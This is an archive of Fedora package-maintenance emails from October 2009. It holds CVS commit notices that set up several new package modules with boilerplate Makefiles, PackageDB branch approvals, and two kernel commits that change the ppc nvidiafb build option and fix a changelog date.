From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:57:11 +0000 (UTC)
Subject: rpms/python-typepad/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091008055711.CE23411C0268@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-typepad/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvseQ1355/rpms/python-typepad/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module python-typepad


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: python-typepad
# $Id: Makefile,v 1.1 2009/10/08 05:57:11 kevin Exp $
NAME := python-typepad
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct  8 05:57:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:57:32 +0000
Subject: [pkgdb] django-typepad was added for sdz
Message-ID: <20091008055732.C861110F84D@bastion2.fedora.phx.redhat.com>

kevin has added Package django-typepad with summary A helper Django app for making TypePad applications
kevin has approved Package django-typepad
kevin has added a Fedora devel branch for django-typepad with an owner of sdz
kevin has approved django-typepad in Fedora devel
kevin has approved Package django-typepad
kevin has set commit to Approved for 107427 on django-typepad (Fedora devel)
kevin has set checkout to Approved for 107427 on django-typepad (Fedora devel)
kevin has set build to Approved for 107427 on django-typepad (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/django-typepad



From pkgdb at fedoraproject.org  Thu Oct  8 05:57:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:57:33 +0000
Subject: [pkgdb] django-typepad summary updated by kevin
Message-ID: <20091008055734.10D1F10F892@bastion2.fedora.phx.redhat.com>

kevin set package django-typepad summary to A helper Django app for making TypePad applications

To make changes to this package see:
  /pkgdb/packages/name/django-typepad



From pkgdb at fedoraproject.org  Thu Oct  8 05:57:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:57:33 +0000
Subject: [pkgdb] django-typepad (Fedora EPEL, 5) updated by kevin
Message-ID: <20091008055734.1B62410F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for django-typepad
kevin has set commit to Approved for 107427 on django-typepad (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on django-typepad (Fedora EPEL 5)
kevin has set build to Approved for 107427 on django-typepad (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/django-typepad



From pkgdb at fedoraproject.org  Thu Oct  8 05:57:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:57:33 +0000
Subject: [pkgdb] django-typepad (Fedora EPEL, 5) updated by kevin
Message-ID: <20091008055734.214AD10F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for django-typepad
kevin has set commit to Approved for 107427 on django-typepad (Fedora 11)
kevin has set checkout to Approved for 107427 on django-typepad (Fedora 11)
kevin has set build to Approved for 107427 on django-typepad (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/django-typepad



From pkgdb at fedoraproject.org  Thu Oct  8 05:57:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:57:33 +0000
Subject: [pkgdb] django-typepad (Fedora EPEL, 5) updated by kevin
Message-ID: <20091008055734.30E4A10F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for django-typepad
kevin has set commit to Approved for 107427 on django-typepad (Fedora 12)
kevin has set checkout to Approved for 107427 on django-typepad (Fedora 12)
kevin has set build to Approved for 107427 on django-typepad (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/django-typepad



From kevin at fedoraproject.org  Thu Oct  8 05:57:43 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:57:43 +0000 (UTC)
Subject: rpms/django-typepad/devel - New directory
Message-ID: <20091008055743.414AC11C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/django-typepad/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsbl1720/rpms/django-typepad/devel

Log Message:
Directory /cvs/pkgs/rpms/django-typepad/devel added to the repository




From kevin at fedoraproject.org  Thu Oct  8 05:57:43 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:57:43 +0000 (UTC)
Subject: rpms/django-typepad - New directory
Message-ID: <20091008055743.1B9BF11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/django-typepad
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsbl1720/rpms/django-typepad

Log Message:
Directory /cvs/pkgs/rpms/django-typepad added to the repository




From kevin at fedoraproject.org  Thu Oct  8 05:57:50 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:57:50 +0000 (UTC)
Subject: rpms/django-typepad Makefile,NONE,1.1
Message-ID: <20091008055750.AFA9E11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/django-typepad
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsbl1720/rpms/django-typepad

Added Files:
	Makefile 
Log Message:
Setup of module django-typepad


--- NEW FILE Makefile ---
# Top level Makefile for module django-typepad
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct  8 05:57:51 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:57:51 +0000 (UTC)
Subject: rpms/django-typepad/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091008055751.215C411C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/django-typepad/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsbl1720/rpms/django-typepad/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module django-typepad


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: django-typepad
# $Id: Makefile,v 1.1 2009/10/08 05:57:50 kevin Exp $
NAME := django-typepad
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From bskeggs at fedoraproject.org  Thu Oct  8 05:58:46 2009
From: bskeggs at fedoraproject.org (Ben Skeggs)
Date: Thu,  8 Oct 2009 05:58:46 +0000 (UTC)
Subject: rpms/kernel/devel config-powerpc-generic, 1.51, 1.52 kernel.spec,
	1.1816, 1.1817
Message-ID: <20091008055846.AF17B11C00DB@cvs1.fedora.phx.redhat.com>

Author: bskeggs

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2064

Modified Files:
	config-powerpc-generic kernel.spec 
Log Message:
* Thu Oct 08 2009 Ben Skeggs <bskeggs at redhat.com>
- ppc: compile nvidiafb as a module only, nvidiafb+nouveau = bang! (rh#491308)



Index: config-powerpc-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/config-powerpc-generic,v
retrieving revision 1.51
retrieving revision 1.52
diff -u -p -r1.51 -r1.52
--- config-powerpc-generic	28 Sep 2009 22:57:22 -0000	1.51
+++ config-powerpc-generic	8 Oct 2009 05:58:45 -0000	1.52
@@ -55,7 +55,7 @@ CONFIG_FB_OF=y
 CONFIG_FB_IBM_GXT4500=y
 CONFIG_FB_RADEON=y
 CONFIG_FB_MATROX=y
-CONFIG_FB_NVIDIA=y
+CONFIG_FB_NVIDIA=m
 # CONFIG_FB_VGA16 is not set
 CONFIG_FB_ATY128_BACKLIGHT=y
 CONFIG_FB_ATY_BACKLIGHT=y


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1816
retrieving revision 1.1817
diff -u -p -r1.1816 -r1.1817
--- kernel.spec	7 Oct 2009 17:28:16 -0000	1.1816
+++ kernel.spec	8 Oct 2009 05:58:46 -0000	1.1817
@@ -1985,6 +1985,9 @@ fi
 # ##############################################################
 
 %changelog
+* Thu Oct 08 2009 Ben Skeggs <bskeggs at redhat.com>
+- ppc: compile nvidiafb as a module only, nvidiafb+nouveau = bang! (rh#491308)
+
 * Wed Oct 07 2009 Dave Jones <davej at redhat.com>
 - Enable FUNCTION_GRAPH_TRACER on x86-64.
 



From pkgdb at fedoraproject.org  Thu Oct  8 05:59:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:59:02 +0000
Subject: [pkgdb] dalston was added for pbrobinson
Message-ID: <20091008055902.DEFC310F88F@bastion2.fedora.phx.redhat.com>

kevin has added Package dalston with summary Moblin System Information Icons
kevin has approved Package dalston
kevin has added a Fedora devel branch for dalston with an owner of pbrobinson
kevin has approved dalston in Fedora devel
kevin has approved Package dalston
kevin has set commit to Approved for 107427 on dalston (Fedora devel)
kevin has set checkout to Approved for 107427 on dalston (Fedora devel)
kevin has set build to Approved for 107427 on dalston (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/dalston



From pkgdb at fedoraproject.org  Thu Oct  8 05:59:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:59:03 +0000
Subject: [pkgdb] dalston summary updated by kevin
Message-ID: <20091008055904.0ABE110F8A3@bastion2.fedora.phx.redhat.com>

kevin set package dalston summary to Moblin System Information Icons

To make changes to this package see:
  /pkgdb/packages/name/dalston



From pkgdb at fedoraproject.org  Thu Oct  8 05:59:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:59:03 +0000
Subject: [pkgdb] dalston (Fedora, 12) updated by kevin
Message-ID: <20091008055904.18D6610F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for dalston
kevin has set commit to Approved for 107427 on dalston (Fedora 12)
kevin has set checkout to Approved for 107427 on dalston (Fedora 12)
kevin has set build to Approved for 107427 on dalston (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/dalston



From kevin at fedoraproject.org  Thu Oct  8 05:59:16 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:59:16 +0000 (UTC)
Subject: rpms/dalston - New directory
Message-ID: <20091008055916.B5E6E11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/dalston
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsXc2471/rpms/dalston

Log Message:
Directory /cvs/pkgs/rpms/dalston added to the repository




From kevin at fedoraproject.org  Thu Oct  8 05:59:16 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:59:16 +0000 (UTC)
Subject: rpms/dalston/devel - New directory
Message-ID: <20091008055916.DB50511C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/dalston/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsXc2471/rpms/dalston/devel

Log Message:
Directory /cvs/pkgs/rpms/dalston/devel added to the repository




From kevin at fedoraproject.org  Thu Oct  8 05:59:32 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:59:32 +0000 (UTC)
Subject: rpms/dalston Makefile,NONE,1.1
Message-ID: <20091008055932.97B7311C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/dalston
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsXc2471/rpms/dalston

Added Files:
	Makefile 
Log Message:
Setup of module dalston


--- NEW FILE Makefile ---
# Top level Makefile for module dalston
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct  8 05:59:33 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:59:33 +0000 (UTC)
Subject: rpms/dalston/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091008055933.C57C611C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/dalston/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsXc2471/rpms/dalston/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module dalston


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: dalston
# $Id: Makefile,v 1.1 2009/10/08 05:59:32 kevin Exp $
NAME := dalston
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct  8 06:00:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 06:00:11 +0000
Subject: [pkgdb] vim-perl-tt2 was added for cweyl
Message-ID: <20091008060012.11A0810F84D@bastion2.fedora.phx.redhat.com>

kevin has added Package vim-perl-tt2 with summary Syntax highlighting for the Template-Toolkit
kevin has approved Package vim-perl-tt2
kevin has added a Fedora devel branch for vim-perl-tt2 with an owner of cweyl
kevin has approved vim-perl-tt2 in Fedora devel
kevin has approved Package vim-perl-tt2
kevin has set commit to Approved for 107427 on vim-perl-tt2 (Fedora devel)
kevin has set checkout to Approved for 107427 on vim-perl-tt2 (Fedora devel)
kevin has set build to Approved for 107427 on vim-perl-tt2 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/vim-perl-tt2



From pkgdb at fedoraproject.org  Thu Oct  8 06:00:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 06:00:13 +0000
Subject: [pkgdb] vim-perl-tt2 summary updated by kevin
Message-ID: <20091008060013.B1DD710F895@bastion2.fedora.phx.redhat.com>

kevin set package vim-perl-tt2 summary to Syntax highlighting for the Template-Toolkit

To make changes to this package see:
  /pkgdb/packages/name/vim-perl-tt2



From pkgdb at fedoraproject.org  Thu Oct  8 06:00:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 06:00:13 +0000
Subject: [pkgdb] vim-perl-tt2 (Fedora, 10) updated by kevin
Message-ID: <20091008060013.B6F6710F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for vim-perl-tt2
kevin has set commit to Approved for 107427 on vim-perl-tt2 (Fedora 11)
kevin has set checkout to Approved for 107427 on vim-perl-tt2 (Fedora 11)
kevin has set build to Approved for 107427 on vim-perl-tt2 (Fedora 11)
kevin approved watchbugzilla on vim-perl-tt2 (Fedora 11) for perl-sig
kevin approved watchcommits on vim-perl-tt2 (Fedora 11) for perl-sig

To make changes to this package see:
  /pkgdb/packages/name/vim-perl-tt2



From pkgdb at fedoraproject.org  Thu Oct  8 06:00:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 06:00:13 +0000
Subject: [pkgdb] vim-perl-tt2 (Fedora, 10) updated by kevin
Message-ID: <20091008060013.C87DB10F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for vim-perl-tt2
kevin has set commit to Approved for 107427 on vim-perl-tt2 (Fedora 12)
kevin has set checkout to Approved for 107427 on vim-perl-tt2 (Fedora 12)
kevin has set build to Approved for 107427 on vim-perl-tt2 (Fedora 12)
kevin approved watchbugzilla on vim-perl-tt2 (Fedora 12) for perl-sig
kevin approved watchcommits on vim-perl-tt2 (Fedora 12) for perl-sig

To make changes to this package see:
  /pkgdb/packages/name/vim-perl-tt2



From pkgdb at fedoraproject.org  Thu Oct  8 06:00:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 06:00:13 +0000
Subject: [pkgdb] vim-perl-tt2 (Fedora, 10) updated by kevin
Message-ID: <20091008060013.CD4F210F8B1@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on vim-perl-tt2 (Fedora devel) for perl-sig
kevin approved watchcommits on vim-perl-tt2 (Fedora devel) for perl-sig

To make changes to this package see:
  /pkgdb/packages/name/vim-perl-tt2



From pkgdb at fedoraproject.org  Thu Oct  8 06:00:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 06:00:13 +0000
Subject: [pkgdb] vim-perl-tt2 (Fedora, 10) updated by kevin
Message-ID: <20091008060013.D74E410F8B6@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for vim-perl-tt2
kevin has set commit to Approved for 107427 on vim-perl-tt2 (Fedora 10)
kevin has set checkout to Approved for 107427 on vim-perl-tt2 (Fedora 10)
kevin has set build to Approved for 107427 on vim-perl-tt2 (Fedora 10)
kevin approved watchbugzilla on vim-perl-tt2 (Fedora 10) for perl-sig
kevin approved watchcommits on vim-perl-tt2 (Fedora 10) for perl-sig

To make changes to this package see:
  /pkgdb/packages/name/vim-perl-tt2



From kevin at fedoraproject.org  Thu Oct  8 06:00:22 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 06:00:22 +0000 (UTC)
Subject: rpms/vim-perl-tt2 - New directory
Message-ID: <20091008060022.1BAF111C0265@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/vim-perl-tt2
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvszQ2937/rpms/vim-perl-tt2

Log Message:
Directory /cvs/pkgs/rpms/vim-perl-tt2 added to the repository




From kevin at fedoraproject.org  Thu Oct  8 06:00:22 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 06:00:22 +0000 (UTC)
Subject: rpms/vim-perl-tt2/devel - New directory
Message-ID: <20091008060022.449B011C029A@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/vim-perl-tt2/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvszQ2937/rpms/vim-perl-tt2/devel

Log Message:
Directory /cvs/pkgs/rpms/vim-perl-tt2/devel added to the repository




From kevin at fedoraproject.org  Thu Oct  8 06:00:30 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 06:00:30 +0000 (UTC)
Subject: rpms/vim-perl-tt2 Makefile,NONE,1.1
Message-ID: <20091008060030.4D1B211C0265@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/vim-perl-tt2
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvszQ2937/rpms/vim-perl-tt2

Added Files:
	Makefile 
Log Message:
Setup of module vim-perl-tt2


--- NEW FILE Makefile ---
# Top level Makefile for module vim-perl-tt2
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct  8 06:00:30 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 06:00:30 +0000 (UTC)
Subject: rpms/vim-perl-tt2/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091008060030.9EAFF11C0265@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/vim-perl-tt2/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvszQ2937/rpms/vim-perl-tt2/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module vim-perl-tt2


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: vim-perl-tt2
# $Id: Makefile,v 1.1 2009/10/08 06:00:30 kevin Exp $
NAME := vim-perl-tt2
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct  8 06:01:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 06:01:14 +0000
Subject: [pkgdb] couchdb-glib was added for pbrobinson
Message-ID: <20091008060114.9231310F892@bastion2.fedora.phx.redhat.com>

kevin has added Package couchdb-glib with summary A glib api to access CouchDB servers
kevin has approved Package couchdb-glib
kevin has added a Fedora devel branch for couchdb-glib with an owner of pbrobinson
kevin has approved couchdb-glib in Fedora devel
kevin has approved Package couchdb-glib
kevin has set commit to Approved for 107427 on couchdb-glib (Fedora devel)
kevin has set checkout to Approved for 107427 on couchdb-glib (Fedora devel)
kevin has set build to Approved for 107427 on couchdb-glib (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/couchdb-glib



From pkgdb at fedoraproject.org  Thu Oct  8 06:01:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 06:01:16 +0000
Subject: [pkgdb] couchdb-glib summary updated by kevin
Message-ID: <20091008060116.CA5AF10F8A4@bastion2.fedora.phx.redhat.com>

kevin set package couchdb-glib summary to A glib api to access CouchDB servers

To make changes to this package see:
  /pkgdb/packages/name/couchdb-glib



From pkgdb at fedoraproject.org  Thu Oct  8 06:01:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 06:01:16 +0000
Subject: [pkgdb] couchdb-glib (Fedora, 11) updated by kevin
Message-ID: <20091008060116.E5DD310F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for couchdb-glib
kevin has set commit to Approved for 107427 on couchdb-glib (Fedora 11)
kevin has set checkout to Approved for 107427 on couchdb-glib (Fedora 11)
kevin has set build to Approved for 107427 on couchdb-glib (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/couchdb-glib



From bskeggs at fedoraproject.org  Thu Oct  8 06:01:22 2009
From: bskeggs at fedoraproject.org (Ben Skeggs)
Date: Thu,  8 Oct 2009 06:01:22 +0000 (UTC)
Subject: rpms/kernel/F-11 kernel.spec,1.1758,1.1759
Message-ID: <20091008060122.2FAAC11C00DB@cvs1.fedora.phx.redhat.com>

Author: bskeggs

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3368

Modified Files:
	kernel.spec 
Log Message:
fix typo, i really love messing up dates... :P



Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1758
retrieving revision 1.1759
diff -u -p -r1.1758 -r1.1759
--- kernel.spec	8 Oct 2009 05:54:43 -0000	1.1758
+++ kernel.spec	8 Oct 2009 06:01:21 -0000	1.1759
@@ -2046,7 +2046,7 @@ fi
 # and build.
 
 %changelog
-* Thu Oct 09 2009 Ben Skeggs <bskeggs at redhat.com>     2.6.30.9-79
+* Thu Oct 08 2009 Ben Skeggs <bskeggs at redhat.com>     2.6.30.9-79
 - ppc: compile nvidiafb as a module only, nvidiafb+nouveau = bang! (rh#491308)
 
 * Wed Oct 07 2009 Dave Jones <davej at redhat.com>       2.6.30.9-78



From pkgdb at fedoraproject.org  Thu Oct  8 06:01:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 06:01:16 +0000
Subject: [pkgdb] couchdb-glib (Fedora, 11) updated by kevin
Message-ID: <20091008060117.0170110F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for couchdb-glib
kevin has set commit to Approved for 107427 on couchdb-glib (Fedora 12)
kevin has set checkout to Approved for 107427 on couchdb-glib (Fedora 12)
kevin has set build to Approved for 107427 on couchdb-glib (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/couchdb-glib



From kevin at fedoraproject.org  Thu Oct  8 06:01:25 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 06:01:25 +0000 (UTC)
Subject: rpms/couchdb-glib - New directory
Message-ID: <20091008060125.180BD11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/couchdb-glib
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsyR3426/rpms/couchdb-glib

Log Message:
Directory /cvs/pkgs/rpms/couchdb-glib added to the repository




From kevin at fedoraproject.org  Thu Oct  8 06:01:25 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 06:01:25 +0000 (UTC)
Subject: rpms/couchdb-glib/devel - New directory
Message-ID: <20091008060125.4E1C911C0267@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/couchdb-glib/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsyR3426/rpms/couchdb-glib/devel

Log Message:
Directory /cvs/pkgs/rpms/couchdb-glib/devel added to the repository




From kevin at fedoraproject.org  Thu Oct  8 06:01:33 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 06:01:33 +0000 (UTC)
Subject: rpms/couchdb-glib Makefile,NONE,1.1
Message-ID: <20091008060133.3DCA511C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/couchdb-glib
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsyR3426/rpms/couchdb-glib

Added Files:
	Makefile 
Log Message:
Setup of module couchdb-glib


--- NEW FILE Makefile ---
# Top level Makefile for module couchdb-glib
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct  8 06:01:33 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 06:01:33 +0000 (UTC)
Subject: rpms/couchdb-glib/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091008060133.9B4B211C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/couchdb-glib/devel
